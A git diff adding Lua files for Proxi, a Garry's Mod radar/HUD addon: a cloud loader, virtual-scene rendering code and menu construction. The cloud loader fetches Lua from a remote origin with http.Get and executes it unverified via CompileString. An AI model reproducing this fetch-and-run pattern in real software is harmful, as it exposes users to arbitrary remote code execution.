(type(ADDON_PROP) ~= "table") or (#ADDON_PROP == 0) then + print(" > " .. PROXI_NAME .. " Cloud Contents misses standard table.") + + else + PROXI_CloudFileList = table.Copy(ADDON_PROP) + bCouldLoad = true + + print(" > " .. PROXI_NAME .. " Cloud Contents now gathering Cloud Contents...") + proxi_cloud.GatherSubContents() + + end + + ADDON_PROP = nil + + if not bCouldLoad then + print(" > " .. PROXI_NAME .. " couldn't load from Cloud. Now using Locale.") + proxi_cloud.LoadLocale() + + end + +end + +local function PROXI_ReceiveSubContents( args ,contents , size ) + if PROXI_CloudReceiverResponded or PROXI_CloudReceiverAborted then return end + + local packet_num = args[1] + PROXI_CloudSubContents[packet_num] = contents + print(" > " .. PROXI_NAME .. " Cloud Contents received packet #".. packet_num .." of ".. #PROXI_CloudFileList .. " :: ".. PROXI_CloudFileList[packet_num]) + + if table.Count(PROXI_CloudSubContents) == #PROXI_CloudFileList then + PROXI_CloudReceiverResponded = true + print(" > " .. PROXI_NAME .. " Cloud Contents trying to mount from Cloud...") + proxi_cloud.LoadComposition() + + end + +end + +function proxi_cloud.GatherSubContents() + for k,path in pairs( PROXI_CloudFileList ) do + http.Get( PROXI_Origin .. path , "", PROXI_ReceiveSubContents, k ) + proxi_cloud.CheckTimeout( true ) + + end + +end + +function proxi_cloud.InternalLoad() + CompileString( PROXI_CloudContents , "PROXI_InternalLoad" )() + +end + +function proxi_cloud.LoadComposition() + + local bOkay, strErr = pcall(function() proxi_cloud.InternalCompose() end) + local bCouldLoad = false + + if not bOkay then + print(" > " .. PROXI_NAME .. " Cloud Contents Composition failed to pass semantics : ".. strErr) + + print(" > " .. PROXI_NAME .. " couldn't load from Cloud. Now using Locale.") + proxi_cloud.LoadLocale() + + else + proxi_cloud.AttemptMount() + + end + +end + +function proxi_cloud.InternalCompose() + proxi_cloud.BuildBase() + for i = 1, #PROXI_CloudSubContents do + CompileString( PROXI_CloudSubContents[i] , "PROXI_INTERNALCOMPOSE__PACKET" .. tostring(i) )() + + end + +end + +function proxi_cloud.AttemptMount() + PROXI_IsUsingCloud = true + local bCouldLoad = false + + local strBivalErr = "" + bCouldLoad, strBivalErr = pcall(function() proxi.Mount() end) + if not bCouldLoad then + print(" > " .. PROXI_NAME .. " Cloud Contents failed to mount : ".. strBivalErr) + //Now used in buildbase + //pcall(function() proxi.Unmount() end) + + print(" > " .. PROXI_NAME .. " couldn't load from Cloud. Now using Locale.") + proxi_cloud.LoadLocale() + else + print(" > " .. PROXI_NAME .. " successfully loaded from Cloud.") + + end + +end + +function proxi_cloud.CheckTimeout( bFirst ) + if bFirst then + timer.Create("PROXI_CLOUD_TIMEOUT", PROXI_CloudReceiverTimeoutDelay, 1, proxi_cloud.CheckTimeout) + PROXI_CloudReceiverQueried = 0 + PROXI_CloudReceiverResponded = false + PROXI_CloudReceiverAborted = false + + elseif not PROXI_CloudReceiverResponded then + PROXI_CloudReceiverQueried = PROXI_CloudReceiverQueried + 1 + + if PROXI_CloudReceiverQueried <= PROXI_CloudReceiverNumTries then + print(" > " .. PROXI_NAME .. " Cloud Contents failed to respond on check #" .. PROXI_CloudReceiverQueried .. ". Waiting.") + timer.Create("PROXI_CLOUD_TIMEOUT", PROXI_CloudReceiverTimeoutDelay, 1, proxi_cloud.CheckTimeout) + + else + print(" > " .. PROXI_NAME .. " Cloud Contents failed to respond on check #" .. PROXI_CloudReceiverQueried .. ".") + proxi_cloud.Abort() + + end + + end + + +end + +function proxi_cloud.Abort() + if PROXI_CloudReceiverAborted then return end + + print(" > " .. PROXI_NAME .. " Cloud Contents loading aborted. Now using Locale.") + PROXI_CloudReceiverAborted = true + proxi_cloud.LoadLocale() + +end + +function proxi_cloud.LoadLocale() + PROXI_IsUsingCloud = false + proxi_cloud.BuildBase() + + ADDON_PROP = {} + + HeXInclude( PROXI_Start ) + + for i = 1, #ADDON_PROP do + HeXInclude( ADDON_PROP[i] ) + + end + + ADDON_PROP = nil + + if proxi.Mount then + proxi.Mount() + + end + +end + +function proxi_cloud.Ask() + print(" > " .. PROXI_NAME .. " now trying to reach Cloud...") + + PROXI_CloudReceiverQueried = 0 + PROXI_CloudContents = "" + PROXI_CloudFileList = {} + PROXI_CloudSubContents = {} + + proxi_cloud.Query() + proxi_cloud.CheckTimeout( true ) + +end + +function proxi_cloud.Query() + http.Get( PROXI_Origin .. PROXI_Start, "", PROXI_ReceiveCloud ) + +end + +function proxi_cloud.Mount() + concommand.Add( "proxi_cloud_ask", proxi_cloud.Ask ) + +end + + +function proxi_cloud.Unmount() + concommand.Remove( "proxi_cloud_ask" ) + +end + +proxi_cloud.Mount() diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_dup_virtualscene.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_dup_virtualscene.lua new file mode 100644 index 0000000..51ae385 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_dup_virtualscene.lua @@ -0,0 +1,492 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Virtual Scene // +//////////////////////////////////////////////// +local proxi = proxi + +local RING_TEX_ID = surface.GetTextureID( "proxi/rad_ring.vmt" ) +local RING_MATFIX = 1.07 +local PROXI_CURRENT_VIEWDATA = nil +local PROXI_CALC_SCREENPOS = nil + +function proxi:GetPinScale() + return self:GetVar( "regmod_size" ) / 256 * self:GetVar( "regmod_pinscale" ) / 5 +end + +function proxi:GetPin3DScale( ) + return self:GetVar( "regmod_pinscale" ) / 5 +end + +function proxi.HUDPaint() + if not proxi:IsEnabled() then return end + + + if not proxi.dat.view_data then + proxi.dat.view_data = {} + end + + if proxi:GetVar( "eyemod_override") <= 0 then + proxi:RecomRegular() + proxi:RegularEvaluate() + + else + proxi:RecomEyemod() + proxi:EyemodEvaluate() + + end + proxi:DoRenderVirtualScene( proxi.dat.view_data ) + +end + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +local PROXI_LASTMODE = nil + +function proxi:EyemodEvaluate() + local size = ScrH() + self.dat.view_data.draww = size + self.dat.view_data.drawh = size + self.dat.view_data.drawx = ScrW() / 2 - size / 2 + self.dat.view_data.drawy = ScrH() / 2 - size / 2 + self.dat.view_data.foveval = LocalPlayer():GetFOV() + self.dat.view_data.bypass_distance = proxi:GetVar( "global_finderdistance") + +end + +function proxi:RegularEvaluate() + local size = proxi:GetVar( "regmod_size") + self.dat.view_data.draww = size + self.dat.view_data.drawh = size + self.dat.view_data.drawx = proxi:GetVar( "regmod_xrel") * ScrW() - size / 2 + self.dat.view_data.drawy = proxi:GetVar( "regmod_yrel") * ScrH() - size / 2 + self.dat.view_data.foveval = proxi:GetVar( "regmod_fov") + self.dat.view_data.radiuseval = proxi:GetVar( "regmod_radius") + self.dat.view_data.bypass_distance = proxi:GetVar( "global_finderdistance") + +end + +function proxi:RecomEyemod() + if PROXI_LASTMODE == "EYEMOD" then return end + PROXI_LASTMODE = "EYEMOD" + + self.dat.ang_before_pos = true + self.dat.view_data.referencepos_func = function( viewData ) + return EyePos() + + end + self.dat.view_data.referenceang_func = function( viewData ) + return (sharpeye_focus and sharpeye_focus.GetSmoothedViewAngles and sharpeye_focus:GetSmoothedViewAngles()) or EyeAngles() + + end + self.dat.view_data.pos_func = function( viewData ) + return EyePos() + + end + self.dat.view_data.ang_func = function( viewData ) + return (sharpeye_focus and sharpeye_focus.GetSmoothedViewAngles and sharpeye_focus:GetSmoothedViewAngles()) or EyeAngles() + + end + + self.dat.view_data.referencepos = nil + self.dat.view_data.referenceang = nil + self.dat.view_data.pos = nil + self.dat.view_data.ang = nil + + + self.dat.view_data.radiuseval_func = function( viewData ) return nil end + self.dat.view_data.foveval_func = function( viewData ) return nil end + self.dat.view_data.radiuseval = 2048 + self.dat.view_data.foveval = 10 + + self.dat.view_data.drawx = 0 + self.dat.view_data.drawy = 0 + self.dat.view_data.draww = 0 + self.dat.view_data.drawh = 0 + + self.dat.view_data.margin = 2^0.5 + +end + +function proxi:RecomRegular() + if PROXI_LASTMODE == "REGULAR" then return end + PROXI_LASTMODE = "REGULAR" + + self.dat.ang_before_pos = true + self.dat.view_data.referencepos_func = function( viewData ) + return EyePos() + + end + self.dat.view_data.referenceang_func = function( viewData ) + return EyeAngles() + + end + self.dat.view_data.pos_func = function( viewData ) + local dist = viewData.radiuseval / math.tan( math.rad( viewData.foveval / 2 ) ) + return viewData.referencepos - viewData.ang:Forward() * dist + + end + self.dat.view_data.ang_func = function( viewData ) + return Angle( proxi:GetVar( "regmod_angle") + (proxi:GetVar( "regmod_pitchdyn") / 10) * viewData.referenceang.p, viewData.referenceang.y, 0 ) + end + + self.dat.view_data.referencepos = nil + self.dat.view_data.referenceang = nil + self.dat.view_data.pos = nil + self.dat.view_data.ang = nil + + + self.dat.view_data.radiuseval_func = function( viewData ) return nil end + self.dat.view_data.foveval_func = function( viewData ) return nil end + self.dat.view_data.radiuseval = 512 + self.dat.view_data.foveval = 10 + + self.dat.view_data.drawx = 0 + self.dat.view_data.drawy = 0 + self.dat.view_data.draww = 0 + self.dat.view_data.drawh = 0 + + self.dat.view_data.margin = 2^0.5 + +end + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +function proxi:RecomA() + self.dat.view_data.pos_func = function() + local dist = self.dat.view_data.radiuseval / math.tan( math.rad( self.dat.view_data.foveval / 2 ) ) + return EyePos() - self.dat.view_data.ang_func():Forward() * dist + + end + + self.dat.view_data.pos = nil + self.dat.view_data.ang = nil + self.dat.view_data.ang_func = function() return Angle( 90, EyeAngles().y, 0 ) end + self.dat.view_data.radiuseval = 1024 + self.dat.view_data.foveval = 4 + self.dat.view_data.drawx = 12 + self.dat.view_data.drawy = 256 + self.dat.view_data.draww = 312 + self.dat.view_data.drawh = 312 + self.dat.view_data.margin = 2^0.5 + +end + +function proxi:RecomB() + self.dat.view_data.pos_func = function() + return EyePos() + + end + self.dat.view_data.ang_func = function() return (sharpeye_focus and sharpeye_focus.GetSmoothedViewAngles and sharpeye_focus:GetSmoothedViewAngles()) or EyeAngles() end + + self.dat.view_data.pos = nil + self.dat.view_data.ang = nil + self.dat.view_data.radiuseval = 200 + self.dat.view_data.foveval = LocalPlayer():GetFOV() + self.dat.view_data.drawx = (ScrW() - ScrH()) / 2 + self.dat.view_data.drawy = 0 + self.dat.view_data.draww = ScrH() + self.dat.view_data.drawh = ScrH() + self.dat.view_data.margin = 2^0.5 + +end + +function proxi:RecomC() + self.dat.ang_before_pos = true + self.dat.view_data.referencepos_func = function( viewData ) + return EyePos() + + end + self.dat.view_data.referenceang_func = function( viewData ) + return EyeAngles() + + end + self.dat.view_data.pos_func = function( viewData ) + local dist = viewData.radiuseval / math.tan( math.rad( viewData.foveval / 2 ) ) + return viewData.referencepos - viewData.ang:Forward() * dist + + end + self.dat.view_data.ang_func = function( viewData ) + return Angle( proxi:GetVar( "regmod_angle") + (proxi:GetVar( "regmod_pitchdyn") / 10) * viewData.referenceang.p, viewData.referenceang.y, 0 ) + end + + self.dat.view_data.referencepos = nil + self.dat.view_data.referenceang = nil + self.dat.view_data.pos = nil + self.dat.view_data.ang = nil + + + self.dat.view_data.radiuseval_func = function( viewData ) return nil end + self.dat.view_data.foveval_func = function( viewData ) return nil end + self.dat.view_data.radiuseval = 512 + self.dat.view_data.foveval = 10 + + self.dat.view_data.drawx = 0 + self.dat.view_data.drawy = 0 + self.dat.view_data.draww = 0 + self.dat.view_data.drawh = 0 + + self.dat.view_data.margin = 2^0.5 + +end + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +function proxi:GetCurrentViewData() + return PROXI_CURRENT_VIEWDATA +end + +function proxi:DoRenderVirtualScene( viewData ) + PROXI_CURRENT_VIEWDATA = viewData + + -- We need these because Vector:ToScreen() uses the viewport as a reference, but uses the raw Screen sizes from 0 to Screen Size as range of values no matter where the viewport is or which size the viewport is + viewData.raw_scrw = ScrW() + viewData.raw_scrh = ScrH() + + local xDraw, yDraw = viewData.drawx, viewData.drawy + local iWidth, iHeight = viewData.draww, viewData.drawh + + -- Calculate actual values + viewData.referencepos = viewData.referencepos_func(viewData) or viewData.referencepos + viewData.referenceang = viewData.referenceang_func(viewData) or viewData.referenceang + + if self.dat.ang_before_pos then + viewData.ang = viewData.ang_func(viewData) or viewData.ang + viewData.pos = viewData.pos_func(viewData) or viewData.pos + + else + viewData.pos = viewData.pos_func(viewData) or viewData.pos + viewData.ang = viewData.ang_func(viewData) or viewData.ang + + end + + viewData.radiuseval = viewData.radiuseval_func(viewData) or viewData.radiuseval + viewData.foveval = viewData.foveval_func(viewData) or viewData.foveval + + viewData.baseratio = math.tan( math.rad( viewData.foveval / 2 / viewData.margin ) ) + viewData.baseratio_nomargin = math.tan( math.rad( viewData.foveval / 2 ) ) + + --self:DoFindComputeEnts( viewData ) + + render.ClearStencil() + render.SetStencilEnable( true ) + render.SetStencilFailOperation( STENCILOPERATION_KEEP ) + render.SetStencilPassOperation( STENCILOPERATION_REPLACE ) + render.SetStencilCompareFunction( STENCILCOMPARISONFUNCTION_ALWAYS ) + render.SetStencilReferenceValue( 1 ) + + ---- Background circle + surface.SetDrawColor( proxi:GetVarColorVariadic("uidesign_backcolor") ) + surface.SetTexture( nil ) + surface.DrawPoly( self:CalcCircle( 36, iWidth / 2, viewData.drawx, viewData.drawy ) ) + + -- Operation : Keep (We don't want any stencil modification to happen after drawing the polygon). + render.SetStencilPassOperation( STENCILOPERATION_KEEP ) + + ---- Undercontents + + -- Comparaison : Equal : We want all operations to be drawn on the circle. + render.SetStencilCompareFunction( STENCILCOMPARISONFUNCTION_EQUAL ) + + cam.Start3D( viewData.pos, viewData.ang, viewData.foveval, xDraw, yDraw, iWidth, iHeight ) + local bOkayFirst, strErrFirst = pcall( self.DoCameraMath, self, viewData ) + if bOkayFirst then + local bOkay, strErr = pcall( self.DoCameraUnderScene, self, viewData ) + if not bOkay then ErrorNoHalt( ">> Proxi ERROR : " .. strErr ) end + + end + + cam.End3D() + if not bOkayFirst then ErrorNoHalt( ">> Proxi ERROR : " .. strErrFirst ) end + + ---- Drawing the ring. + + -- Compare : We want it only to draw no matter what + render.SetStencilCompareFunction( STENCILCOMPARISONFUNCTION_ALWAYS ) + + local iSurfWidth, iSurfHeight = iWidth * RING_MATFIX, iHeight * RING_MATFIX + local iDrawXCenter, iDrawYCenter = xDraw + iWidth / 2, yDraw + iHeight / 2 + surface.SetDrawColor( proxi:GetVarColorVariadic("uidesign_ringcolor") ) + surface.SetTexture( RING_TEX_ID ) + surface.DrawTexturedRectRotated( iDrawXCenter, iDrawYCenter, iSurfWidth, iSurfHeight, 0) + + ---- Preparing Overcontents + if bOkayFirst then + -- Comparaison : Equal : We want all operations to be drawn on the circle. + render.SetStencilCompareFunction( STENCILCOMPARISONFUNCTION_EQUAL ) + + ---- Overcontents + cam.Start3D( viewData.pos, viewData.ang, viewData.foveval, xDraw, yDraw, iWidth, iHeight ) + local bOkay, strErr = pcall( self.DoCameraOverScene, self, viewData ) + + cam.End3D() + if not bOkay then ErrorNoHalt( ">> Proxi ERROR : " .. strErr ) end + + end + + render.SetStencilEnable( false ) + +end + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +function proxi:ConvertPosToScreen( vPos, fAlterX, fAlterY ) + PROXI_CALC_SCREENPOS = vPos:ToScreen() + PROXI_CALC_SCREENPOS.x = (PROXI_CALC_SCREENPOS.x / PROXI_CURRENT_VIEWDATA.raw_scrw + (fAlterX or 0) / 2) * PROXI_CURRENT_VIEWDATA.draww + PROXI_CALC_SCREENPOS.y = (PROXI_CALC_SCREENPOS.y / PROXI_CURRENT_VIEWDATA.raw_scrh + (fAlterY or 0) / 2) * PROXI_CURRENT_VIEWDATA.drawh + + return PROXI_CALC_SCREENPOS.x, PROXI_CALC_SCREENPOS.y + +end + +function proxi:ConvertPosToRelative( vPos ) + PROXI_CALC_SCREENPOS = vPos:ToScreen() + PROXI_CALC_SCREENPOS.x = (PROXI_CALC_SCREENPOS.x / PROXI_CURRENT_VIEWDATA.raw_scrw) * 2 - 1 + PROXI_CALC_SCREENPOS.y = (PROXI_CALC_SCREENPOS.y / PROXI_CURRENT_VIEWDATA.raw_scrh) * 2 - 1 + + return PROXI_CALC_SCREENPOS.x, PROXI_CALC_SCREENPOS.y + +end + +function proxi:ConvertRelativeToScreen( fAlterX, fAlterY ) + local x,y = (fAlterX + 1) / 2 * PROXI_CURRENT_VIEWDATA.draww, (fAlterY + 1) / 2 * PROXI_CURRENT_VIEWDATA.drawh + + return x, y + +end + + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +local PROXI_CAMERA_FIX = 1 +local PROXI_CIRCLE_POLYGON = {} +local PROXI_CIRCLE_RES = -1 +local PROXI_CIRCLE_RADIUS = -1 +local PROXI_CIRCLE_IDX = -1 +local PROXI_CIRCLE_IDY = -1 + + +// CalcCircle should use viewdata for multiplicity ? +function proxi:CalcCircle( iRes, iRadius, iDrawX, iDrawY ) + if PROXI_CIRCLE_RES == iRes and PROXI_CIRCLE_RADIUS == iRadius and PROXI_CIRCLE_IDX == iDrawX and PROXI_CIRCLE_IDY == iDrawY then return PROXI_CIRCLE_POLYGON end + + PROXI_CIRCLE_RES = iRes + PROXI_CIRCLE_RADIUS = iRadius + PROXI_CIRCLE_IDX = iDrawX + PROXI_CIRCLE_IDY = iDrawY + + for i = 1, iRes do + if not PROXI_CIRCLE_POLYGON[i] then + PROXI_CIRCLE_POLYGON[i] = {} + + end + + PROXI_CIRCLE_POLYGON[i]["x"] = math.cos( math.rad( i / iRes * 360 ) ) * iRadius + PROXI_CIRCLE_POLYGON[i]["y"] = math.sin( math.rad( i / iRes * 360 ) ) * iRadius + PROXI_CIRCLE_POLYGON[i]["u"] = (iRadius - PROXI_CIRCLE_POLYGON[i]["x"]) / (2 * iRadius) + PROXI_CIRCLE_POLYGON[i]["v"] = (iRadius - PROXI_CIRCLE_POLYGON[i]["y"]) / (2 * iRadius) + + PROXI_CIRCLE_POLYGON[i]["x"] = iDrawX + iRadius + PROXI_CIRCLE_POLYGON[i]["x"] + PROXI_CIRCLE_POLYGON[i]["y"] = iDrawY + iRadius + PROXI_CIRCLE_POLYGON[i]["y"] + + end + + return PROXI_CIRCLE_POLYGON + +end + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +function proxi:ProjectPosition( tMath, posToProj ) + -- PROXI_CURRENT_VIEWDATA.pos = tMath.origin = EyePos() ((Reevaluation)) + tMath.posToProj = posToProj + + tMath.norm = PROXI_CURRENT_VIEWDATA.ang:Forward() + + tMath.projectedPos = PROXI_CURRENT_VIEWDATA.pos + tMath.norm * (posToProj - PROXI_CURRENT_VIEWDATA.pos):Dot( tMath.norm ) + tMath.relativePos = posToProj - tMath.projectedPos + + tMath.length = tMath.relativePos:Length() + tMath.distanceToOrigin = (tMath.projectedPos - PROXI_CURRENT_VIEWDATA.pos):Length() + + // WARNING : AMBIGUOUS CODE. + // + // WAS : + tMath.relativity = tMath.length / tMath.distanceToOrigin + tMath.ratio = tMath.relativity / PROXI_CURRENT_VIEWDATA.baseratio + + tMath.ratioClamped = tMath.ratio > 1 and 1 or tMath.ratio + if tMath.ratioClamped == 1 then + tMath.relativePos = tMath.relativePos:Normalize() * PROXI_CURRENT_VIEWDATA.baseratio * tMath.distanceToOrigin + + end + +end + +function proxi:GetConeProjectedPosition( tMath ) + tMath.conePos = tMath.projectedPos + tMath.relativePos + return tMath.conePos + +end + +function proxi:GetFalloff( tMath, iFallOff, optbExtras ) + tMath.closeFalloff = math.Clamp( tMath.distanceToOrigin / iFallOff, 0, 1) + + if not optbExtras then + return tMath.closeFalloff + + else + return tMath.closeFalloff, tMath.closeFalloff ^ 2, self:PercentCharge( tMath.closeFalloff ) + + end + +end + +function proxi:DoCameraMath( viewData ) + self:DebugBeaconOps( self:GetTaggedEntities(), 0 ) + +end + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +function proxi:DoCameraUnderScene( viewData ) + self:DebugBeaconOps( self:GetTaggedEntities(), 1 ) + + cam.Start2D() + local bOkay, strErr = pcall( function() + self:DebugBeaconOps( self:GetTaggedEntities(), 2 ) + + end ) + cam.End2D() + + if not bOkay then ErrorNoHalt( ">> Proxi ERROR : " .. strErr ) end + +end + +function proxi:DoCameraOverScene( viewData ) + self:DebugBeaconOps( self:GetTaggedEntities(), 3 ) + + cam.Start2D() + local bOkay, strErr = pcall( function() + self:DebugBeaconOps( self:GetTaggedEntities(), 4 ) + render.SetStencilCompareFunction( STENCILCOMPARISONFUNCTION_ALWAYS ) + self:DebugBeaconOps( self:GetTaggedEntities(), 5 ) + //surface.SetDrawColor( 255, 255, 255, 64 ) + //surface.DrawRect( 0, 0, ScrW(), ScrH() ) + + end ) + cam.End2D() + + if not bOkay then ErrorNoHalt( ">> Proxi ERROR : " .. strErr ) end + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_menu.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_menu.lua new file mode 100644 index 0000000..1726149 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_menu.lua @@ -0,0 +1,378 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Menu // +//////////////////////////////////////////////// +local proxi = proxi + +local PROXI_MENU = nil + +function proxi:GetMenu() + return PROXI_MENU or self:BuildMenu() + +end + +function proxi:UpdateMenuPosition() + local pos = self:GetVar( "menu_position" ) + if pos > 0 then + PROXI_MENU:SetPos( ScrW() - PROXI_MENU:GetWide(), 0 ) + PROXI_MENU:GetContents()._p_topPanel._p_positionBox:SetType( "left" ) + + else + PROXI_MENU:SetPos( 0, 0 ) + PROXI_MENU:GetContents()._p_topPanel._p_positionBox:SetType( "right" ) + + end + +end + +function proxi:BuildMenuContainer() + self:RemoveMenu() + + local WIDTH = 230 + PROXI_MENU = vgui.Create( PROXI_SHORT .. "_ContextContainer" ) + PROXI_MENU:SetSize( WIDTH, ScrH() ) + PROXI_MENU:GetCanvas( ):SetDrawBackground( false ) + + local mainPanel = vgui.Create( "DPanel" ) + PROXI_MENU:SetContents( mainPanel ) + + /// + + //mainPanel:SetDrawBackground( false ) + /*mainPanel.Paint = function (self) + surface.SetDrawColor( 255, 0, 0, 96 ) + surface.DrawRect( 0, 0, self:GetWide(), self:GetTall() ) + end*/ + + PROXI_MENU.Paint = function (self) + surface.SetDrawColor( 0, 0, 0, 96 ) + surface.DrawRect( 0, 0, self:GetWide(), self:GetTall() ) + end + + mainPanel.Paint = function (self) + surface.SetDrawColor( 0, 0, 0, 96 ) + surface.DrawRect( 0, 0, self:GetWide(), self:GetTall() ) + end + + return PROXI_MENU + +end + +function proxi:BuildMenu() + if not ValidPanel( PROXI_MENU ) then + self:BuildMenuContainer() + + end + + local mainPanel = PROXI_MENU:GetContents() + + //// + local topPanel = proxi:BuildHeader( mainPanel, PROXI_NAME ) + + //// + local tabMaster = vgui.Create( "DPropertySheet", mainPanel ) + do + local formBeacons = vgui.Create( "DPanelList" ) + formBeacons:AddItem( self:BuildParamPanel( "global_finderdistance", { Type = "range", Text = "Global Finder : Distance limit", Min = 256, Max = 16384, Decimals = 0 } ) ) + + do + local beacons = proxi:GetAllBeacons() + for _,sName in pairs( proxi:GetBeaconOrderTable() ) do + local objBeacon = beacons[ sName ] + + local category = vgui.Create("ProxiCollapsibleCheckbox", refPanel) + category:SetExpanded( false ) + category:SetText( objBeacon:GetDisplayName() ) + category:SetConVar( self:GetVarName( "beacons_enable_" .. sName ) ) + + category.List = vgui.Create("DPanelList", category ) + category.List:EnableHorizontal( false ) + category.List:EnableVerticalScrollbar( false ) + + if objBeacon:HasBypassDistance() then + category.List:AddItem( self:BuildParamPanel( "beacons_settings_" .. sName .. "__bypassdistance", { Type = "bool", Text = "Bypass distance limit" } ) ) + + else + category.Paint = function ( self ) + surface.SetDrawColor( 0, 0, 0 ) + surface.DrawRect( 0, 0, self:GetWide(), self:GetTall() ) + + end + + end + + category:SetContents( category.List ) + + formBeacons:AddItem( category ) + + end + + end + + local formOptions = vgui.Create( "DPanelList" ) + do + formOptions:AddItem( self:BuildParamPanel( "regmod_xrel", { Type = "range", Text = "X Relative Position", Min = 0, Max = 1, Decimals = 2 } ) ) + formOptions:AddItem( self:BuildParamPanel( "regmod_yrel", { Type = "range", Text = "Y Relative Position", Min = 0, Max = 1, Decimals = 2 } ) ) + + formOptions:AddItem( self:BuildParamPanel( "regmod_size", { Type = "range", Text = "Circle Size", Min = 0, Max = 1024, Decimals = 0 } ) ) + formOptions:AddItem( self:BuildParamPanel( "regmod_pinscale", { Type = "range", Text = "Pin Scale", Min = 0, Max = 10, Decimals = 0 } ) ) + formOptions:AddItem( self:BuildParamPanel( "noconvars", { Type = "panel_label", Text = "WARNING : The greater the Radius is, the more perspective should you set it up, otherwise 3D beacons won't dislay at all.", Wrap = true } ) ) + + formOptions:AddItem( self:BuildParamPanel( "regmod_fov", { Type = "range", Text = "Isometric < > Perspective", Min = 2, Max = 100, Decimals = 0 } ) ) + formOptions:AddItem( self:BuildParamPanel( "regmod_radius", { Type = "range", Text = "In-world Radius", Min = 128, Max = 4096, Decimals = 0 } ) ) + formOptions:AddItem( self:BuildParamPanel( "regmod_angle", { Type = "range", Text = "Pitch Angle", Min = -90, Max = 90, Decimals = 0 } ) ) + formOptions:AddItem( self:BuildParamPanel( "regmod_pitchdyn", { Type = "range", Text = "Pitch Dynamism", Min = 0, Max = 10, Decimals = 0 } ) ) + + formOptions:AddItem( self:BuildParamPanel( "eyemod_override", { Type = "bool", Text = "Enable Eye Mod (Debug mode)" } ) ) + + end + + local formDesign = vgui.Create( "DPanelList" ) + do + formDesign:AddItem( self:BuildParamPanel( "noconvars", { Type = "panel_label", Text = "Ring color" } ) ) + formDesign:AddItem( self:BuildParamPanel( "uidesign_ringcolor", { Type = "color" } ) ) + formDesign:AddItem( self:BuildParamPanel( "noconvars", { Type = "panel_label", Text = "Background color" } ) ) + formDesign:AddItem( self:BuildParamPanel( "uidesign_backcolor", { Type = "color" } ) ) + + end + + formBeacons:EnableVerticalScrollbar( true ) + formOptions:EnableVerticalScrollbar( true ) + formDesign:EnableVerticalScrollbar( true ) + + tabMaster:AddSheet( "Beacons", formBeacons, "gui/silkicons/application_view_detail", false, false, "All your scripts." ) + tabMaster:AddSheet( "Options", formOptions, "gui/silkicons/wrench", false, false, "Settings." ) + tabMaster:AddSheet( "UI", formDesign, "gui/silkicons/palette", false, false, "Appearance." ) + + end + + //// + local optionsForm = vgui.Create( "DForm", mainPanel ) + do + optionsForm:SetName( "Status" ) + + local label = vgui.Create( "DLabel" ) + label:SetText( "None." ) + optionsForm:AddItem( label ) + + end + + //// + mainPanel._p_topPanel = topPanel + mainPanel._p_tabMaster = tabMaster + mainPanel._p_optionsForm = optionsForm + + mainPanel._n_Spacing = 5 + mainPanel.PerformLayout = function (self) + self:GetParent():StretchToParent( 0, 0, 0, 0 ) + self:StretchToParent( self._n_Spacing, self._n_Spacing, self._n_Spacing, self._n_Spacing ) + self._p_topPanel:PerformLayout() + self._p_tabMaster:PerformLayout() + self._p_optionsForm:PerformLayout() + self._p_topPanel:Dock( TOP ) + self._p_optionsForm:Dock( BOTTOM ) + self._p_tabMaster:Dock( FILL ) + end + + PROXI_MENU:UpdateContents() + self:UpdateMenuPosition() + + return PROXI_MENU + +end + +function proxi:RemoveMenu() + if ValidPanel( PROXI_MENU ) then + PROXI_MENU:Remove() + PROXI_MENU = nil + + end + +end + +function proxi:MountMenu() + self:CreateVarParam( "bool", "menu_position", "1", { callback = function ( a, b, c ) proxi:UpdateMenuPosition() end } ) + -- do nothing + +end + +function proxi:UnmountMenu() + self:RemoveMenu() + +end + +function proxi:OpenMenu() + self:GetMenu():Open() + +end + +function proxi:CloseMenu() + self:GetMenu():Close() + +end + + + +function proxi:BuildHeader( mainPanel, sHeaderName ) + //// + local topPanel = vgui.Create( "DPanel", mainPanel ) + do + local title = self:BuildParamPanel( "noconvar", { Type = "panel_label", Text = sHeaderName, ContentAlignment = 5, Font = "DefaultBold" } ) + title.Paint = function (self) + surface.SetDrawColor( 0, 0, 0, 96 ) + surface.DrawRect( 0, 0, self:GetWide(), self:GetTall() ) + end + title:SetParent( topPanel ) + + local subTitle = nil + do + local MY_VERSION, ONLINE_VERSION = proxi_internal.GetVersionData() + MY_VERSION = "v" .. tostring(MY_VERSION) + ONLINE_VERSION = (ONLINE_VERSION == -1) and "(?)" or ("v" .. tostring( ONLINE_VERSION )) + subTitle = self:BuildParamPanel( "noconvar", { Type = "panel_label", Text = "Using " .. (proxi_cloud:IsUsingCloud() and "Cloud " .. ONLINE_VERSION or "Locale " .. MY_VERSION), ContentAlignment = 4 } ) + end + subTitle:SetParent( topPanel ) + + local MY_VERSION, ONLINE_VERSION = proxi_internal.GetVersionData() + if ((MY_VERSION < ONLINE_VERSION) and proxi_cloud:IsUsingCloud()) then + subTitle:SetToolTip( "There is an update ! You're currently using a temporary copy of the new version (You have v" .. tostring( MY_VERSION ) .. " installed)." ) + subTitle.Think = function (self) + local blink = 127 + (math.sin( math.pi * CurTime() * 0.5 ) + 1 ) * 64 + self:SetColor( Color( 255, 255, 255, blink ) ) // TODO : ? + + end + + end + + local enableBox = self:BuildParamPanel( "core_enable", { Type = "bool_nolabel", Style = "grip" } ) 